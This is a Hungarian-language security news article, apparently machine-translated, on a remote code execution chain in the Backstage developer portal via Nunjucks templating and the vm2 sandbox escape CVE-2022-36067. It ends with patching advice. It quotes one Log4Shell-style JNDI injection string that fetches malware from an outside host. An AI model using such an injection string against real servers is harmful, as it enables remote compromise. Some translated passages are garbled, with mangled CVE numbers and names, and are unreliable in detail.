Log4Shell-szerű kódvégrehajtási lyuk a népszerű Backstage fejlesztői eszközben

Az Oxeye felhőkódolási biztonsági cég kutatói felírtak egy kritikus hibát, amelyet nemrég fedeztek fel a népszerű felhőfejlesztő eszköztárban, a Backstage-ben.

A jelentést tartalmazza a hiba működésének magyarázatát, valamint a proof-of-concept (PoC) kódot, amely bemutatja, hogyan kell kihasználni.

A Backstage az úgynevezett felhő fejlesztői portál – egyfajta üzleti logikai háttérrendszer, amely megkönnyíti a webalapú API-k (alkalmazásprogramozási felületek) felépítését, amelyek lehetővé teszik a vállalkozáson belüli és kívüli kódolók számára, hogy interakcióba lépjenek az Ön online szolgáltatásaival.

Maga a projekt szavaival élve, eredetileg a Spotify-on jött létre, de most nyílt forráskódú a GutHubon:

A Backstage egy nyílt platform fejlesztői portálok építésére. A központosított szoftverkatalógus segítségével a Backstage helyreállítja a rendet a mikroszolgáltatásokban és az infrastruktúrában, és lehetővé teszi termékcsapatai számára, hogy kiváló minőségű kódokat gyorsan szállítsanak – az autonómia feláldozása nélkül.

A Backstage egyesíti az összes infrastruktúra-eszközt, szolgáltatást és dokumentációt, hogy egy áramvonalas fejlesztői környezetet hozzon létre a végétől a végéig.

Nem, azt sem tudjuk igazán, hogy ez mit jelent, de azt tudjuk, hogy az eszközkészlet JavaScript nyelven íródott, és a szerveroldali JavaScript rendszeren fut. node.js, és az ellátási lánc függőségek hálóját vonja be az NPM ökoszisztémából.

Az NPM a rövidítése Node Package Manager, egy automatizált eszközkészlet, amely biztosítja, hogy a háttérben futó JavaScript-kód könnyen kihasználhassa a nyílt forráskódú könyvtárak széles skáláját, amelyek népszerű, előre megírt segédeszközöket kínálnak a kriptográfiától és az adatbázis-kezeléstől a naplózásig és a verziókezelésig mindenhez.

Távoli kódfuttatás

Sajnos a ma nyilvánosságra hozott hiba, ha nem javítják ki, nem hitelesített kívülállóknak (lazán bárkinek, aki API-kapcsolatot tud létesíteni a szervereihez) lehetőséget adhat arra, hogy távoli kódvégrehajtást (RCE) indítsanak el a hálózat üzleti logikai szerverein belül.

Szerencsére azonban, ha helyesen értelmeztük az Oxeye leírását, az általuk a Backstage RCE-hez leírt támadás a kódolási hibák sorozatától függ, amelyek végső soron egy meghatározott hibától függenek, CVE-2022 36067- a vm2 nevű ellátási lánc összetevőben, amelyre a Backstage támaszkodik.

Ha kíváncsi, a vm2 egy általános célú NPM-modul, amely egy „virtuális gépi homokozót” valósít meg, amelynek célja, hogy a potenciálisan kockázatos JavaScriptet egy kicsit biztonságosabbá tegye a szerverein.

Ez a CVE-2022-36067 hiba a vm2-ben volt jelentett 2022 augusztusában maga az Oxeye (aki PR-barát „Sandbreak” nevet adott neki, mert kitört a homokozóból), és azonnal foltozva a vm2 csapata majdnem három hónapja.

Tehát, amennyire látjuk, ha Ön Backstage-felhasználó, meg kell győződnie arról, hogy a Backstage beállításaiban minden veszélyeztetett összetevőt kijavított…

…de ha azokkal a hónapokkal ezelőtt kijavította a vm2 komponenst, amely sebezhető volt a Sandbreak számára, akkor úgy tűnik, hogy nem vagy közvetlenül sebezhető az Oxeye legutóbbi közleményében leírt kihasználással szemben.

Továbbá, ha a Backstage szerverei a megfelelő kiberbiztonsági irányelvek szerint vannak beállítva, és a hitelesítés szükséges mind a hálózat szélén, mind a hálózaton belül, akkor nem fenyegeti a véletlenszerű „csak kutatói célokat szolgáló” szondák kockázata a „segítőkész” személyektől. megmutatni, hogy érdeklődnek a kiberfenyegetés „kutatása” iránt.

Egy „ementáli sajt” támadás

Egyszerűen fogalmazva, az újonnan feltárt biztonsági problémák egy sor biztonsági probléma mellékhatásai, például lyukak az ementáli sajt szeleteiben, amelyek egymás után behatolhatnak, ha a támadó minden szeleten legalább egy lyukat tud kihúzni.

Értesülésünk szerint a Backstage tartalmaz egy Scaffolder nevű komponenst, amely – ahogy a neve is sugallja – segít a különféle kiegészítők (pluginok) kezelésében, amelyekre a fejlesztői közösségnek szüksége lehet vagy szüksége lehet.

Az Scaffolder pedig a Mozilla Nunjucks néven ismert üzenetnaplózó rendszerét használja, amely magában foglalja az ún. string sablonozás in node.js körök, mint karakterlánc interpoláció a Java világban, és mint karakterlánc helyettesítés rendszergazdáknak, akik parancshéjakat használnak, mint például a Bash.

Ha a húr-interpoláció megszólal egy csengőt, az valószínűleg azért van, mert ez volt a szíve Log4Shell sérülékenység 2021 decemberében, és a Follina hiba 2022 közepén.

Itt lehet átírni egy naplózó üzenet tartalmát speciális „kódoló karakterek” alapján egy karakterlánc-sablonban úgy, hogy egy karakterlánc, mint pl. $USER lecserélhető a kiszolgáló által használt fióknévre, vagy ${PID} lekérheti az aktuális folyamatazonosítót.

A Log4Shell extrém esetben a kíváncsinak tűnő varázslat ${jndi:ldap://example.com:8888/malware} nevű programot közvetlenül ráveheti a szerverre malware ból ből example.com és némán futtatja a háttérben.

Más szavakkal, teljesen biztosnak kell lennie abban, hogy a nem megbízható forrásból, például külső felhasználótól érkező adatok soha nem kerülnek vakon át egy karakterlánc-sablon- vagy karakterlánc-interpolációs függvénybe. mint maga a sablonszöveg.

Ha például egy távoli felhasználó megpróbálja becsapni a szervert azáltal, hogy felhasználónevét a következőképpen adja meg ${{RISKY}} (feltételezve, hogy a sablonkönyvtár használja ${{...}} speciális jelölőjeként), gondoskodnia kell arról, hogy a naplózási kódja helyesen rögzítse ezt a szemtelennek tűnő szöveget, szó szerint úgy, ahogyan megkapta…

…ahelyett, hogy a naplózott szöveg átvegye az irányítást a naplózási funkció felett!

Egy régi mondóka szavaival élve, gondoskodnod kell arról, hogy végül ne énekeld: „Van egy lyuk az én ${{BUCKET}}, kedves Liza, kedves Liza, egy lyuk van a házban ${{BUCKET}}, kedves Liza. Egy lyuk!"

Biztonsági takaróba csomagolva

Az igazság kedvéért, a Nunjucks talán túlságosan erős sablonozási/interpolációs funkcióját a Backstage egy újabb ellátási lánc komponensbe csomagolja be, nevezetesen a fent említett vm2 sandbox rendszerbe, amely állítólag korlátozza azt a veszélyt, amelyet egy rosszindulatú felhasználó tehet a bobbal. - csapdába esett bemeneti adatok.

Sajnos az Oxeye kutatóinak sikerült párosítaniuk a Backstage + Scaffolder + Nunjucks újonnan felfedezett karakterlánc-sablon kód-kioldó útvonalait a vm2022 biztonsági burkoló régi CVE-36067-2 sebezhetőségével, hogy lehetséges távoli kódfuttatást érjenek el a Backstage szerveren. .

Mit kell tenni?

Ha Ön Backstage felhasználó:

• Győződjön meg arról, hogy a Backstage és függőségei legújabb verzióival rendelkezik, beleértve a plugin-scaffolder-backend összetevő. Az Oxeye szerint a Backstage kód vonatkozó hibáit 01. szeptember 2022-ig kijavították, így az ezt követő adatoknak tartalmazniuk kell a javításokat. A cikk írásakor [2022-11-1T16:00Z] ez magában foglalja a Backstage-t is 1.6.0, 1.7.0 és a 1.8.0, megjelent 2022-09-21, 2022-10-18 és 2022-11-15.
• Ellenőrizze, hogy a Backstage telepítésében a hitelesítés a várt módon van-e konfigurálva. Az Oxeye azt állítja, hogy a hitelesítés alapértelmezés szerint ki van kapcsolva, és miután követte a A kulisszák mögötti irányelvek, a háttérkiszolgálók (amelyeknek valószínűleg egyébként sem szabadna kitenni kívülről) továbbra is engedélyezték a hitelesítés nélküli hozzáférést. Lehet, hogy ezt szeretné, de azt javasoljuk, hogy használja ezt a problémát annak ellenőrzésére, hogy a beállítás megfelel-e a szándékainak.
• Ellenőrizze, hogy a Backstage infrastruktúrájának mely részei érhetők el az internetről. Még egyszer használja ezt a problémát okként a saját hálózatának kívülről történő átvizsgálására, ha mostanában nem tette meg.

Ha Ön node.js/NPM felhasználó:

• Győződjön meg arról, hogy a vm2 sandbox összetevő legújabb verziójával rendelkezik. Előfordulhat, hogy ez más használt szoftver függőségeként van telepítve, még akkor is, ha nincs Backstage. A CVE-2022-36067 biztonsági rést 2022-08-28-án javították ki, ezért vm2 verziót szeretne 3.9.11 vagy későbbi.

Ha Ön programozó:

• Legyen olyan védekező, amennyire csak tudja, amikor hatékony naplózási funkciókat hív meg. Ha olyan naplózási szolgáltatást használ (beleértve a Nunjucks-t vagy a Log4J-t), amely hatékony sablonozási/interpolációs funkciókat tartalmaz, kapcsolja ki azokat a funkciókat, amelyekre nincs szüksége, hogy ne lehessen véletlenül kihasználni. Győződjön meg arról, hogy a megbízhatatlan bemenet soha nem kerül felhasználásra sablonként, ezzel megakadályozva, hogy a támadók saját, közvetlenül veszélyes bemeneti karakterláncokat dobjanak fel.
• Az egyéb óvintézkedésektől függetlenül fertőtlenítse a naplózási bemeneteit és kimeneteit. Ne feledje, hogy valaki másnak meg kell nyitnia a naplófájljait a jövőben. Ne engedje, hogy véletlenül csapdák kerüljenek a naplófájlba, ahol később problémákat okozhatnak, például HTML-töredékek, amelyekben szkriptcímkéket hagytak. (Valaki véletlenül megnyithatja a fájlt a böngészőben.)

Még akkor is, ha megbízható forrásból kap információt, ritkán van ok arra, hogy ne tegye át a saját fertőtlenítési ellenőrzésén, mielőtt felhasználná.

(Időnként indokolhat kivételt, például teljesítmény okokból, de kivételnek kell lennie, nem szabálynak.)

Először is, az újbóli ellenőrzés segít felismerni azokat a hibákat, amelyeket a korábbi kódolók jóhiszeműen követtek el; másodszor, segít korlátozni a rossz vagy csapdába esett adatok terjedését, ha az ökoszisztéma más részei veszélybe kerülnek.

Azokkal az ementáli sajtszeletekkel, amelyeket korábban említettünk, az az, hogy bár áteresztőek, ha minden lapon legalább egy lyuk sorakozik…

…akkor nem eresztenek át, ha van legalább egy olyan lyukas lap, amely egyáltalán nem illeszkedik egymáshoz!

---